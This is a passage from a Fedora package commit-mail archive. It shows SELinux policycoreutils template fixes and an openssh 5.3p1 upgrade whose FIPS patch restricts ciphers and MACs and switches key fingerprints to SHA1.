 --- nsapolicycoreutils/gui/templates/executable.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/executable.py	2009-10-01 12:03:05.000000000 -0400
-@@ -0,0 +1,368 @@
++++ policycoreutils-2.0.74/gui/templates/executable.py	2009-10-02 08:46:53.000000000 -0400
+@@ -0,0 +1,359 @@
 +# Copyright (C) 2007-2009 Red Hat 
 +# see file 'COPYING' for use and warranty information
 +#
@@ -12374,20 +12374,11 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 +
 +te_userapp_rules="""
-+########################################
-+#
-+# TEMPLATETYPE local policy
-+#
-+
-+## internal communication is often done using fifo and unix sockets.
-+allow TEMPLATETYPE_t self:fifo_file rw_file_perms;
++allow TEMPLATETYPE_t self:fifo_file manage_file_file_perms;
 +allow TEMPLATETYPE_t self:unix_stream_socket create_stream_socket_perms;
 +
 +files_read_etc_files(TEMPLATETYPE_t)
 +
-+libs_use_ld_so(TEMPLATETYPE_t)
-+libs_use_shared_libs(TEMPLATETYPE_t)
-+
 +miscfiles_read_localization(TEMPLATETYPE_t)
 +"""
 +
@@ -12515,9 +12506,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +              type TEMPLATETYPE_t;
 +	')
 +
-+	role $2 types TEMPLATETYPE_t;
++	role $1 types TEMPLATETYPE_t;
 +
-+	TEMPLATETYPE_domtrans($1)
++	TEMPLATETYPE_domtrans($2)
 +
 +	ps_process_pattern($2, TEMPLATETYPE_t)
 +	allow $2 TEMPLATETYPE_t:process signal;


Index: policycoreutils.spec
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/F-12/policycoreutils.spec,v
retrieving revision 1.648
retrieving revision 1.649
diff -u -p -r1.648 -r1.649
--- policycoreutils.spec	1 Oct 2009 16:05:57 -0000	1.648
+++ policycoreutils.spec	2 Oct 2009 12:49:35 -0000	1.649
@@ -6,7 +6,7 @@
 Summary: SELinux policy core utilities
 Name:	 policycoreutils
 Version: 2.0.74
-Release: 7%{?dist}
+Release: 8%{?dist}
 License: GPLv2+
 Group:	 System Environment/Base
 Source:	 http://www.nsa.gov/selinux/archives/policycoreutils-%{version}.tgz
@@ -296,6 +296,9 @@ fi
 exit 0
 
 %changelog
+* Fri Oct 2 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-8
+- More template fixes
+
 * Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-7
 - Fixes Templates
 



From jfch2222 at fedoraproject.org  Fri Oct  2 13:17:08 2009
From: jfch2222 at fedoraproject.org (Jan F. Chadima)
Date: Fri,  2 Oct 2009 13:17:08 +0000 (UTC)
Subject: rpms/openssh/devel openssh-5.3p1-fips.patch, NONE,
	1.1 openssh-5.3p1-mls.patch, NONE,
	1.1 openssh-5.3p1-nss-keys.patch, NONE,
	1.1 openssh-5.3p1-selabel.patch, NONE,
	1.1 openssh-5.3p1-skip-initial.patch, NONE, 1.1 .cvsignore, 1.24,
	1.25 openssh.spec, 1.170, 1.171 sources, 1.24,
	1.25 openssh-3.8.1p1-krb5-config.patch, 1.1,
	NONE openssh-4.7p1-audit.patch, 1.2,
	NONE openssh-5.1p1-mls.patch, 1.1,
	NONE openssh-5.1p1-skip-initial.patch, 1.1,
	NONE openssh-5.2p1-fips.patch, 1.6,
	NONE openssh-5.2p1-nss-keys.patch, 1.3,
	NONE openssh-5.2p1-selabel.patch, 1.2, NONE
Message-ID: <20091002131708.BE54711C00C1@cvs1.fedora.phx.redhat.com>

Author: jfch2222

Update of /cvs/pkgs/rpms/openssh/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32154

Modified Files:
	.cvsignore openssh.spec sources 
Added Files:
	openssh-5.3p1-fips.patch openssh-5.3p1-mls.patch 
	openssh-5.3p1-nss-keys.patch openssh-5.3p1-selabel.patch 
	openssh-5.3p1-skip-initial.patch 
Removed Files:
	openssh-3.8.1p1-krb5-config.patch openssh-4.7p1-audit.patch 
	openssh-5.1p1-mls.patch openssh-5.1p1-skip-initial.patch 
	openssh-5.2p1-fips.patch openssh-5.2p1-nss-keys.patch 
	openssh-5.2p1-selabel.patch 
Log Message:
Upgrade to new wersion 5.3p1


openssh-5.3p1-fips.patch:
 Makefile.in                     |   14 +++++++-------
 auth2-pubkey.c                  |    3 ++-
 authfile.c                      |   20 ++++++++++++++++----
 cipher-ctr.c                    |    3 ++-
 cipher.c                        |   29 ++++++++++++++++++++++++-----
 cipher.h                        |    2 +-
 mac.c                           |   12 ++++++++++--
 myproposal.h                    |    7 ++++++-
 nsskeys.c                       |    4 ++--
 openbsd-compat/bsd-arc4random.c |   27 +++++++++++++++++++++++++++
 ssh-add.c                       |    3 ++-
 ssh-agent.c                     |    7 ++++---
 ssh-keygen.c                    |   12 +++++++-----
 ssh.c                           |   20 +++++++++++++++++++-
 sshconnect.c                    |   27 ++++++++++++++++-----------
 sshconnect2.c                   |   14 ++++++++++++--
 sshd.c                          |   24 ++++++++++++++++++++++--
 17 files changed, 179 insertions(+), 49 deletions(-)

--- NEW FILE openssh-5.3p1-fips.patch ---
diff -up openssh-5.3p1/auth2-pubkey.c.fips openssh-5.3p1/auth2-pubkey.c
--- openssh-5.3p1/auth2-pubkey.c.fips	2009-10-02 14:12:00.000000000 +0200
+++ openssh-5.3p1/auth2-pubkey.c	2009-10-02 14:12:00.000000000 +0200
@@ -33,6 +33,7 @@
 #include <stdio.h>
 #include <stdarg.h>
 #include <unistd.h>
+#include <openssl/fips.h>
 
 #include "xmalloc.h"
 #include "ssh.h"
@@ -240,7 +241,7 @@ user_key_allowed2(struct passwd *pw, Key
 			found_key = 1;
 			debug("matching key found: file %s, line %lu",
 			    file, linenum);
-			fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX);
+			fp = key_fingerprint(found, FIPS_mode() ? SSH_FP_SHA1 : SSH_FP_MD5, SSH_FP_HEX);
 			verbose("Found matching %s key: %s",
 			    key_type(found), fp);
 			xfree(fp);
diff -up openssh-5.3p1/authfile.c.fips openssh-5.3p1/authfile.c
--- openssh-5.3p1/authfile.c.fips	2006-09-01 07:38:36.000000000 +0200
+++ openssh-5.3p1/authfile.c	2009-10-02 14:12:00.000000000 +0200
@@ -143,8 +143,14 @@ key_save_private_rsa1(Key *key, const ch
 	/* Allocate space for the private part of the key in the buffer. */
 	cp = buffer_append_space(&encrypted, buffer_len(&buffer));
 
-	cipher_set_key_string(&ciphercontext, cipher, passphrase,
-	    CIPHER_ENCRYPT);
+	if (cipher_set_key_string(&ciphercontext, cipher, passphrase,
+	    CIPHER_ENCRYPT) < 0) {
+	    error("cipher_set_key_string failed.");
+	    buffer_free(&encrypted);
+	    buffer_free(&buffer);
+	    return 0;
+	}
+
 	cipher_crypt(&ciphercontext, cp,
 	    buffer_ptr(&buffer), buffer_len(&buffer));
 	cipher_cleanup(&ciphercontext);
@@ -414,8 +420,14 @@ key_load_private_rsa1(int fd, const char
 	cp = buffer_append_space(&decrypted, buffer_len(&buffer));
 
 	/* Rest of the buffer is encrypted.  Decrypt it using the passphrase. */
-	cipher_set_key_string(&ciphercontext, cipher, passphrase,
-	    CIPHER_DECRYPT);
+	if (cipher_set_key_string(&ciphercontext, cipher, passphrase,
+	    CIPHER_DECRYPT) < 0) {
+	    error("cipher_set_key_string failed.");
+	    buffer_free(&decrypted);
+	    buffer_free(&buffer);
+	    goto fail;
+	}
+
 	cipher_crypt(&ciphercontext, cp,
 	    buffer_ptr(&buffer), buffer_len(&buffer));
 	cipher_cleanup(&ciphercontext);
diff -up openssh-5.3p1/cipher.c.fips openssh-5.3p1/cipher.c
--- openssh-5.3p1/cipher.c.fips	2009-10-02 13:44:03.000000000 +0200
+++ openssh-5.3p1/cipher.c	2009-10-02 14:12:00.000000000 +0200
@@ -40,6 +40,7 @@
 #include <sys/types.h>
 
 #include <openssl/md5.h>
+#include <openssl/fips.h>
 
 #include <string.h>
 #include <stdarg.h>
@@ -93,6 +94,22 @@ struct Cipher {
 	{ NULL,			SSH_CIPHER_INVALID, 0, 0, 0, 0, NULL }
 };
 
+struct Cipher fips_ciphers[] = {
+	{ "none",		SSH_CIPHER_NONE, 8, 0, 0, 0, EVP_enc_null },
+	{ "3des",		SSH_CIPHER_3DES, 8, 16, 0, 1, evp_ssh1_3des },
+
+	{ "3des-cbc",		SSH_CIPHER_SSH2, 8, 24, 0, 1, EVP_des_ede3_cbc },
+	{ "aes128-cbc",		SSH_CIPHER_SSH2, 16, 16, 0, 1, EVP_aes_128_cbc },
+	{ "aes192-cbc",		SSH_CIPHER_SSH2, 16, 24, 0, 1, EVP_aes_192_cbc },
+	{ "aes256-cbc",		SSH_CIPHER_SSH2, 16, 32, 0, 1, EVP_aes_256_cbc },
+	{ "rijndael-cbc at lysator.liu.se",
+				SSH_CIPHER_SSH2, 16, 32, 0, 1, EVP_aes_256_cbc },
+	{ "aes128-ctr",		SSH_CIPHER_SSH2, 16, 16, 0, 0, evp_aes_128_ctr },
+	{ "aes192-ctr",		SSH_CIPHER_SSH2, 16, 24, 0, 0, evp_aes_128_ctr },
+	{ "aes256-ctr",		SSH_CIPHER_SSH2, 16, 32, 0, 0, evp_aes_128_ctr },
+	{ NULL,			SSH_CIPHER_INVALID, 0, 0, 0, 0, NULL }
+};
+
 /*--*/
 
 u_int
@@ -135,7 +152,7 @@ Cipher *
 cipher_by_name(const char *name)
 {
 	Cipher *c;
-	for (c = ciphers; c->name != NULL; c++)
+	for (c = FIPS_mode() ? fips_ciphers : ciphers; c->name != NULL; c++)
 		if (strcmp(c->name, name) == 0)
 			return c;
 	return NULL;
@@ -145,7 +162,7 @@ Cipher *
 cipher_by_number(int id)
 {
 	Cipher *c;
-	for (c = ciphers; c->name != NULL; c++)
+	for (c = FIPS_mode() ? fips_ciphers : ciphers; c->name != NULL; c++)
 		if (c->number == id)
 			return c;
 	return NULL;
@@ -189,7 +206,7 @@ cipher_number(const char *name)
 	Cipher *c;
 	if (name == NULL)
 		return -1;
-	for (c = ciphers; c->name != NULL; c++)
+	for (c = FIPS_mode() ? fips_ciphers : ciphers; c->name != NULL; c++)
 		if (strcasecmp(c->name, name) == 0)
 			return c->number;
 	return -1;
@@ -296,14 +313,15 @@ cipher_cleanup(CipherContext *cc)
  * passphrase and using the resulting 16 bytes as the key.
  */
 
-void
+int
 cipher_set_key_string(CipherContext *cc, Cipher *cipher,
     const char *passphrase, int do_encrypt)
 {
 	MD5_CTX md;
 	u_char digest[16];
 
-	MD5_Init(&md);
+	if (MD5_Init(&md) <= 0)
+		return -1;
 	MD5_Update(&md, (const u_char *)passphrase, strlen(passphrase));
 	MD5_Final(digest, &md);
 
@@ -311,6 +329,7 @@ cipher_set_key_string(CipherContext *cc,
 
 	memset(digest, 0, sizeof(digest));
 	memset(&md, 0, sizeof(md));
+	return 0;
 }
 
 /*
diff -up openssh-5.3p1/cipher-ctr.c.fips openssh-5.3p1/cipher-ctr.c
--- openssh-5.3p1/cipher-ctr.c.fips	2007-06-14 15:21:33.000000000 +0200
+++ openssh-5.3p1/cipher-ctr.c	2009-10-02 14:12:00.000000000 +0200
@@ -140,7 +140,8 @@ evp_aes_128_ctr(void)
 	aes_ctr.do_cipher = ssh_aes_ctr;
 #ifndef SSH_OLD_EVP
 	aes_ctr.flags = EVP_CIPH_CBC_MODE | EVP_CIPH_VARIABLE_LENGTH |
-	    EVP_CIPH_ALWAYS_CALL_INIT | EVP_CIPH_CUSTOM_IV;
+	    EVP_CIPH_ALWAYS_CALL_INIT | EVP_CIPH_CUSTOM_IV |
+	    EVP_CIPH_FLAG_FIPS;
 #endif
 	return (&aes_ctr);
 }
diff -up openssh-5.3p1/cipher.h.fips openssh-5.3p1/cipher.h
--- openssh-5.3p1/cipher.h.fips	2009-01-28 06:38:41.000000000 +0100
+++ openssh-5.3p1/cipher.h	2009-10-02 14:12:00.000000000 +0200
@@ -78,7 +78,7 @@ void	 cipher_init(CipherContext *, Ciphe
     const u_char *, u_int, int);
 void	 cipher_crypt(CipherContext *, u_char *, const u_char *, u_int);
 void	 cipher_cleanup(CipherContext *);
-void	 cipher_set_key_string(CipherContext *, Cipher *, const char *, int);
+int	 cipher_set_key_string(CipherContext *, Cipher *, const char *, int);
 u_int	 cipher_blocksize(const Cipher *);
 u_int	 cipher_keylen(const Cipher *);
 u_int	 cipher_is_cbc(const Cipher *);
diff -up openssh-5.3p1/mac.c.fips openssh-5.3p1/mac.c
--- openssh-5.3p1/mac.c.fips	2008-06-13 02:58:50.000000000 +0200
+++ openssh-5.3p1/mac.c	2009-10-02 14:12:00.000000000 +0200
@@ -28,6 +28,7 @@
 #include <sys/types.h>
 
 #include <openssl/hmac.h>
+#include <openssl/fips.h>
 
 #include <stdarg.h>
 #include <string.h>
@@ -47,14 +48,14 @@
 #define SSH_EVP		1	/* OpenSSL EVP-based MAC */
 #define SSH_UMAC	2	/* UMAC (not integrated with OpenSSL) */
 
-struct {
+struct Macs {
 	char		*name;
 	int		type;
 	const EVP_MD *	(*mdfunc)(void);
 	int		truncatebits;	/* truncate digest if != 0 */
 	int		key_len;	/* just for UMAC */
 	int		len;		/* just for UMAC */
-} macs[] = {
+} all_macs[] = {
 	{ "hmac-sha1",			SSH_EVP, EVP_sha1, 0, -1, -1 },
 	{ "hmac-sha1-96",		SSH_EVP, EVP_sha1, 96, -1, -1 },
 	{ "hmac-md5",			SSH_EVP, EVP_md5, 0, -1, -1 },
@@ -65,9 +66,15 @@ struct {
 	{ NULL,				0, NULL, 0, -1, -1 }
 };
 
+struct Macs fips_macs[] = {
+	{ "hmac-sha1",			SSH_EVP, EVP_sha1, 0, -1, -1 },
+	{ NULL,				0, NULL, 0, -1, -1 }
+};
+
 static void
 mac_setup_by_id(Mac *mac, int which)
 {
+	struct Macs *macs = FIPS_mode() ? fips_macs : all_macs;
 	int evp_len;
 	mac->type = macs[which].type;
 	if (mac->type == SSH_EVP) {
@@ -88,6 +95,7 @@ int
 mac_setup(Mac *mac, char *name)
 {
 	int i;
+	struct Macs *macs = FIPS_mode() ? fips_macs : all_macs;
 
 	for (i = 0; macs[i].name; i++) {
 		if (strcmp(name, macs[i].name) == 0) {
diff -up openssh-5.3p1/Makefile.in.fips openssh-5.3p1/Makefile.in
--- openssh-5.3p1/Makefile.in.fips	2009-10-02 14:12:00.000000000 +0200
+++ openssh-5.3p1/Makefile.in	2009-10-02 14:20:18.000000000 +0200
@@ -136,28 +136,28 @@ libssh.a: $(LIBSSH_OBJS)
 	$(RANLIB) $@
 
 ssh$(EXEEXT): $(LIBCOMPAT) libssh.a $(SSHOBJS)
-	$(LD) -o $@ $(SSHOBJS) $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
+	$(LD) -o $@ $(SSHOBJS) $(LDFLAGS) -lssh -lopenbsd-compat -lfipscheck $(LIBS)
 
 sshd$(EXEEXT): libssh.a	$(LIBCOMPAT) $(SSHDOBJS)
-	$(LD) -o $@ $(SSHDOBJS) $(LDFLAGS) -lssh -lopenbsd-compat $(SSHDLIBS) $(LIBS)
+	$(LD) -o $@ $(SSHDOBJS) $(LDFLAGS) -lssh -lopenbsd-compat -lfipscheck $(SSHDLIBS) $(LIBS)
 
 scp$(EXEEXT): $(LIBCOMPAT) libssh.a scp.o progressmeter.o
 	$(LD) -o $@ scp.o progressmeter.o bufaux.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
 
 ssh-add$(EXEEXT): $(LIBCOMPAT) libssh.a ssh-add.o
-	$(LD) -o $@ ssh-add.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
+	$(LD) -o $@ ssh-add.o $(LDFLAGS) -lssh -lopenbsd-compat -lfipscheck $(LIBS)
 
 ssh-agent$(EXEEXT): $(LIBCOMPAT) libssh.a ssh-agent.o
-	$(LD) -o $@ ssh-agent.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
+	$(LD) -o $@ ssh-agent.o $(LDFLAGS) -lssh -lopenbsd-compat -lfipscheck $(LIBS)
 
 ssh-keygen$(EXEEXT): $(LIBCOMPAT) libssh.a ssh-keygen.o
-	$(LD) -o $@ ssh-keygen.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
+	$(LD) -o $@ ssh-keygen.o $(LDFLAGS) -lssh -lopenbsd-compat -lfipscheck $(LIBS)
 
 ssh-keysign$(EXEEXT): $(LIBCOMPAT) libssh.a ssh-keysign.o roaming_dummy.o
-	$(LD) -o $@ ssh-keysign.o readconf.o roaming_dummy.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
+	$(LD) -o $@ ssh-keysign.o readconf.o roaming_dummy.o $(LDFLAGS) -lssh -lopenbsd-compat -lfipscheck $(LIBS)
 
 ssh-keyscan$(EXEEXT): $(LIBCOMPAT) libssh.a ssh-keyscan.o roaming_dummy.o
-	$(LD) -o $@ ssh-keyscan.o roaming_dummy.o $(LDFLAGS) -lssh -lopenbsd-compat -lssh $(LIBS)
+	$(LD) -o $@ ssh-keyscan.o roaming_dummy.o $(LDFLAGS) -lssh -lopenbsd-compat -lssh -lfipscheck $(LIBS)
 
 sftp-server$(EXEEXT): $(LIBCOMPAT) libssh.a sftp.o sftp-common.o sftp-server.o sftp-server-main.o
 	$(LD) -o $@ sftp-server.o sftp-common.o sftp-server-main.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
diff -up openssh-5.3p1/myproposal.h.fips openssh-5.3p1/myproposal.h
--- openssh-5.3p1/myproposal.h.fips	2009-01-28 06:33:31.000000000 +0100
+++ openssh-5.3p1/myproposal.h	2009-10-02 14:12:00.000000000 +0200
@@ -53,7 +53,12 @@
 	"hmac-sha1-96,hmac-md5-96"
 #define	KEX_DEFAULT_COMP	"none,zlib at openssh.com,zlib"
 #define	KEX_DEFAULT_LANG	""
-
+#define	KEX_FIPS_ENCRYPT \
+	"aes128-ctr,aes192-ctr,aes256-ctr," \
+	"aes128-cbc,3des-cbc," \
+	"aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se"
+#define	KEX_FIPS_MAC \
+	"hmac-sha1"
 
 static char *myproposal[PROPOSAL_MAX] = {
 	KEX_DEFAULT_KEX,
diff -up openssh-5.3p1/nsskeys.c.fips openssh-5.3p1/nsskeys.c
--- openssh-5.3p1/nsskeys.c.fips	2009-10-02 14:12:00.000000000 +0200
+++ openssh-5.3p1/nsskeys.c	2009-10-02 14:12:00.000000000 +0200
@@ -183,8 +183,8 @@ nss_convert_pubkey(Key *k)
 			break;
 	}
 
-	p = key_fingerprint(k, SSH_FP_MD5, SSH_FP_HEX);
-	debug("fingerprint %u %s", key_size(k), p);
+	p = key_fingerprint(k, SSH_FP_SHA1, SSH_FP_HEX);
+	debug("SHA1 fingerprint %u %s", key_size(k), p);
 	xfree(p);
 
 	return 0;
diff -up openssh-5.3p1/openbsd-compat/bsd-arc4random.c.fips openssh-5.3p1/openbsd-compat/bsd-arc4random.c
--- openssh-5.3p1/openbsd-compat/bsd-arc4random.c.fips	2008-06-04 02:54:00.000000000 +0200
+++ openssh-5.3p1/openbsd-compat/bsd-arc4random.c	2009-10-02 14:12:00.000000000 +0200
@@ -39,6 +39,7 @@
 static int rc4_ready = 0;
 static RC4_KEY rc4;
 
+#if 0
 unsigned int
 arc4random(void)
 {
@@ -82,6 +83,32 @@ arc4random_stir(void)
 
 	rc4_ready = REKEY_BYTES;
 }
+#else
+unsigned int
+arc4random(void)
+{
+	unsigned int r = 0;
+	void *rp = &r;
+
+	if (!rc4_ready) {
+		arc4random_stir();
+	}
+	RAND_bytes(rp, sizeof(r));
+
+	return(r);
+}
+
+void
+arc4random_stir(void)
+{
+	unsigned char rand_buf[SEED_SIZE];
+
+	if (RAND_bytes(rand_buf, sizeof(rand_buf)) <= 0)
+		fatal("Couldn't obtain random bytes (error %ld)",
+		    ERR_get_error());
+	rc4_ready = 1;
+}
+#endif
 #endif /* !HAVE_ARC4RANDOM */
 
 #ifndef ARC4RANDOM_BUF
diff -up openssh-5.3p1/ssh-add.c.fips openssh-5.3p1/ssh-add.c
--- openssh-5.3p1/ssh-add.c.fips	2009-10-02 14:12:00.000000000 +0200
+++ openssh-5.3p1/ssh-add.c	2009-10-02 14:12:00.000000000 +0200
@@ -42,6 +42,7 @@
 #include <sys/param.h>
 
 #include <openssl/evp.h>
+#include <openssl/fips.h>
 #include "openbsd-compat/openssl-compat.h"
 
 #ifdef HAVE_LIBNSS
@@ -254,7 +255,7 @@ list_identities(AuthenticationConnection
 		    key = ssh_get_next_identity(ac, &comment, version)) {
 			had_identities = 1;
 			if (do_fp) {
-				fp = key_fingerprint(key, SSH_FP_MD5,
+				fp = key_fingerprint(key, FIPS_mode() ? SSH_FP_SHA1 : SSH_FP_MD5,
 				    SSH_FP_HEX);
 				printf("%d %s %s (%s)\n",
 				    key_size(key), fp, comment, key_type(key));
diff -up openssh-5.3p1/ssh-agent.c.fips openssh-5.3p1/ssh-agent.c
--- openssh-5.3p1/ssh-agent.c.fips	2009-10-02 14:12:00.000000000 +0200
+++ openssh-5.3p1/ssh-agent.c	2009-10-02 14:12:00.000000000 +0200
@@ -51,6 +51,7 @@
 
 #include <openssl/evp.h>
 #include <openssl/md5.h>
+#include <openssl/fips.h>
 #include "openbsd-compat/openssl-compat.h"
 
 #include <errno.h>
@@ -200,9 +201,9 @@ confirm_key(Identity *id)
 	char *p;
 	int ret = -1;
 
-	p = key_fingerprint(id->key, SSH_FP_MD5, SSH_FP_HEX);
-	if (ask_permission("Allow use of key %s?\nKey fingerprint %s.",
-	    id->comment, p))
+	p = key_fingerprint(id->key, FIPS_mode() ? SSH_FP_SHA1 : SSH_FP_MD5, SSH_FP_HEX);
+	if (ask_permission("Allow use of key %s?\nKey %sfingerprint %s.",
+	    id->comment, FIPS_mode() ? "SHA1 " : "", p))
 		ret = 0;
 	xfree(p);
 
diff -up openssh-5.3p1/ssh.c.fips openssh-5.3p1/ssh.c
--- openssh-5.3p1/ssh.c.fips	2009-10-02 14:12:00.000000000 +0200
+++ openssh-5.3p1/ssh.c	2009-10-02 14:12:00.000000000 +0200
@@ -72,6 +72,8 @@
 
 #include <openssl/evp.h>
 #include <openssl/err.h>
+#include <openssl/fips.h>
+#include <fipscheck.h>
 #include "openbsd-compat/openssl-compat.h"
 #include "openbsd-compat/sys-queue.h"
 
@@ -221,6 +223,10 @@ main(int ac, char **av)
 	sanitise_stdfd();
 
 	__progname = ssh_get_progname(av[0]);
+        SSLeay_add_all_algorithms();
+        if (FIPS_mode() && !FIPSCHECK_verify(NULL, NULL)) {
+                fatal("FIPS integrity verification test failed.");
+        }
 	init_rng();
 
 	/*
@@ -281,6 +287,9 @@ main(int ac, char **av)
 	    "ACD:F:I:KL:MNO:PR:S:TVw:XYy")) != -1) {
 		switch (opt) {
 		case '1':
+			if (FIPS_mode()) {
+				fatal("Protocol 1 not allowed in the FIPS mode.");
+			}
 			options.protocol = SSH_PROTO_1;
 			break;
 		case '2':
@@ -552,7 +561,6 @@ main(int ac, char **av)
 	if (!host)
 		usage();
 
-	SSLeay_add_all_algorithms();
 	ERR_load_crypto_strings();
 
 	/* Initialize the command to execute on remote host. */
@@ -638,6 +646,10 @@ main(int ac, char **av)
 
 	seed_rng();
 
+	if (FIPS_mode()) {
+		logit("FIPS mode initialized");
+	}
+
 	if (options.user == NULL)
 		options.user = xstrdup(pw->pw_name);
 
@@ -704,6 +716,12 @@ main(int ac, char **av)
 
 	timeout_ms = options.connection_timeout * 1000;
 
+	if (FIPS_mode()) {
+		options.protocol &= SSH_PROTO_2;
+		if (options.protocol == 0)
+			fatal("Protocol 2 disabled by configuration but required in the FIPS mode.");
+	}
+
 	/* Open a connection to the remote host. */
 	if (ssh_connect(host, &hostaddr, options.port,
 	    options.address_family, options.connection_attempts, &timeout_ms,
diff -up openssh-5.3p1/sshconnect2.c.fips openssh-5.3p1/sshconnect2.c
--- openssh-5.3p1/sshconnect2.c.fips	2009-10-02 14:12:00.000000000 +0200
+++ openssh-5.3p1/sshconnect2.c	2009-10-02 14:12:00.000000000 +0200
@@ -44,6 +44,8 @@
 #include <vis.h>
 #endif
 
+#include <openssl/fips.h>
+
 #include "openbsd-compat/sys-queue.h"
 
 #include "xmalloc.h"
@@ -116,6 +118,10 @@ ssh_kex2(char *host, struct sockaddr *ho
 	if (options.ciphers != NULL) {
 		myproposal[PROPOSAL_ENC_ALGS_CTOS] =
 		myproposal[PROPOSAL_ENC_ALGS_STOC] = options.ciphers;
+	} else if (FIPS_mode()) {
+		myproposal[PROPOSAL_ENC_ALGS_CTOS] =
+		myproposal[PROPOSAL_ENC_ALGS_STOC] = KEX_FIPS_ENCRYPT;
+
 	}
 	myproposal[PROPOSAL_ENC_ALGS_CTOS] =
 	    compat_cipher_proposal(myproposal[PROPOSAL_ENC_ALGS_CTOS]);
@@ -131,7 +137,11 @@ ssh_kex2(char *host, struct sockaddr *ho
 	if (options.macs != NULL) {
 		myproposal[PROPOSAL_MAC_ALGS_CTOS] =
 		myproposal[PROPOSAL_MAC_ALGS_STOC] = options.macs;
+	} else if (FIPS_mode()) {
+		myproposal[PROPOSAL_MAC_ALGS_CTOS] =
+		myproposal[PROPOSAL_MAC_ALGS_STOC] = KEX_FIPS_MAC;
 	}
+
 	if (options.hostkeyalgorithms != NULL)
 		myproposal[PROPOSAL_SERVER_HOST_KEY_ALGS] =
 		    options.hostkeyalgorithms;
@@ -508,8 +518,8 @@ input_userauth_pk_ok(int type, u_int32_t
 		    key->type, pktype);
 		goto done;
 	}
-	fp = key_fingerprint(key, SSH_FP_MD5, SSH_FP_HEX);
-	debug2("input_userauth_pk_ok: fp %s", fp);
+	fp = key_fingerprint(key, SSH_FP_SHA1, SSH_FP_HEX);
+	debug2("input_userauth_pk_ok: SHA1 fp %s", fp);
 	xfree(fp);
 
 	/*
diff -up openssh-5.3p1/sshconnect.c.fips openssh-5.3p1/sshconnect.c
--- openssh-5.3p1/sshconnect.c.fips	2009-10-02 14:12:00.000000000 +0200
+++ openssh-5.3p1/sshconnect.c	2009-10-02 14:12:00.000000000 +0200
@@ -40,6 +40,8 @@
 #include <unistd.h>
 #include <fcntl.h>
 
+#include <openssl/fips.h>
+
 #include "xmalloc.h"
 #include "key.h"
 #include "hostfile.h"
@@ -763,6 +765,7 @@ check_host_key(char *hostname, struct so
 			goto fail;
 		} else if (options.strict_host_key_checking == 2) {
 			char msg1[1024], msg2[1024];
+			int fips_on = FIPS_mode();
 
 			if (show_other_keys(host, host_key))
 				snprintf(msg1, sizeof(msg1),
@@ -771,8 +774,8 @@ check_host_key(char *hostname, struct so
 			else
 				snprintf(msg1, sizeof(msg1), ".");
 			/* The default */
-			fp = key_fingerprint(host_key, SSH_FP_MD5, SSH_FP_HEX);
-			ra = key_fingerprint(host_key, SSH_FP_MD5,
+			fp = key_fingerprint(host_key, fips_on ? SSH_FP_SHA1 : SSH_FP_MD5, SSH_FP_HEX);
+			ra = key_fingerprint(host_key, fips_on ? SSH_FP_SHA1 : SSH_FP_MD5,
 			    SSH_FP_RANDOMART);
 			msg2[0] = '\0';
 			if (options.verify_host_key_dns) {
@@ -788,10 +791,10 @@ check_host_key(char *hostname, struct so
 			snprintf(msg, sizeof(msg),
 			    "The authenticity of host '%.200s (%s)' can't be "
 			    "established%s\n"
-			    "%s key fingerprint is %s.%s%s\n%s"
+			    "%s key %sfingerprint is %s.%s%s\n%s"
 			    "Are you sure you want to continue connecting "
 			    "(yes/no)? ",
-			    host, ip, msg1, type, fp,
+			    host, ip, msg1, type, fips_on ? "SHA1 " : "", fp,
 			    options.visual_host_key ? "\n" : "",
 			    options.visual_host_key ? ra : "",
 			    msg2);
@@ -1079,17 +1082,18 @@ show_key_from_file(const char *file, con
 	Key *found;
 	char *fp, *ra;
 	int line, ret;
+	int fips_on = FIPS_mode();
 
 	found = key_new(keytype);
 	if ((ret = lookup_key_in_hostfile_by_type(file, host,
 	    keytype, found, &line))) {
-		fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX);
-		ra = key_fingerprint(found, SSH_FP_MD5, SSH_FP_RANDOMART);
+		fp = key_fingerprint(found, fips_on ? SSH_FP_SHA1 : SSH_FP_MD5, SSH_FP_HEX);
+		ra = key_fingerprint(found, fips_on ? SSH_FP_SHA1 : SSH_FP_MD5, SSH_FP_RANDOMART);
 		logit("WARNING: %s key found for host %s\n"
 		    "in %s:%d\n"
-		    "%s key fingerprint %s.\n%s\n",
+		    "%s key %sfingerprint %s.\n%s\n",
 		    key_type(found), host, file, line,
-		    key_type(found), fp, ra);
+		    key_type(found), fips_on ? "SHA1 ":"", fp, ra);
 		xfree(ra);
 		xfree(fp);
 	}
@@ -1135,8 +1139,9 @@ warn_changed_key(Key *host_key)
 {
 	char *fp;
 	const char *type = key_type(host_key);
+	int fips_on = FIPS_mode();
 
-	fp = key_fingerprint(host_key, SSH_FP_MD5, SSH_FP_HEX);
+	fp = key_fingerprint(host_key, fips_on ? SSH_FP_SHA1 : SSH_FP_MD5, SSH_FP_HEX);
 
 	error("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@");
 	error("@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @");
@@ -1144,8 +1149,8 @@ warn_changed_key(Key *host_key)
 	error("IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!");
 	error("Someone could be eavesdropping on you right now (man-in-the-middle attack)!");
 	error("It is also possible that the %s host key has just been changed.", type);
-	error("The fingerprint for the %s key sent by the remote host is\n%s.",
-	    type, fp);
+	error("The %sfingerprint for the %s key sent by the remote host is\n%s.",
+	    fips_on ? "SHA1 ":"", type, fp);
 	error("Please contact your system administrator.");
 
 	xfree(fp);
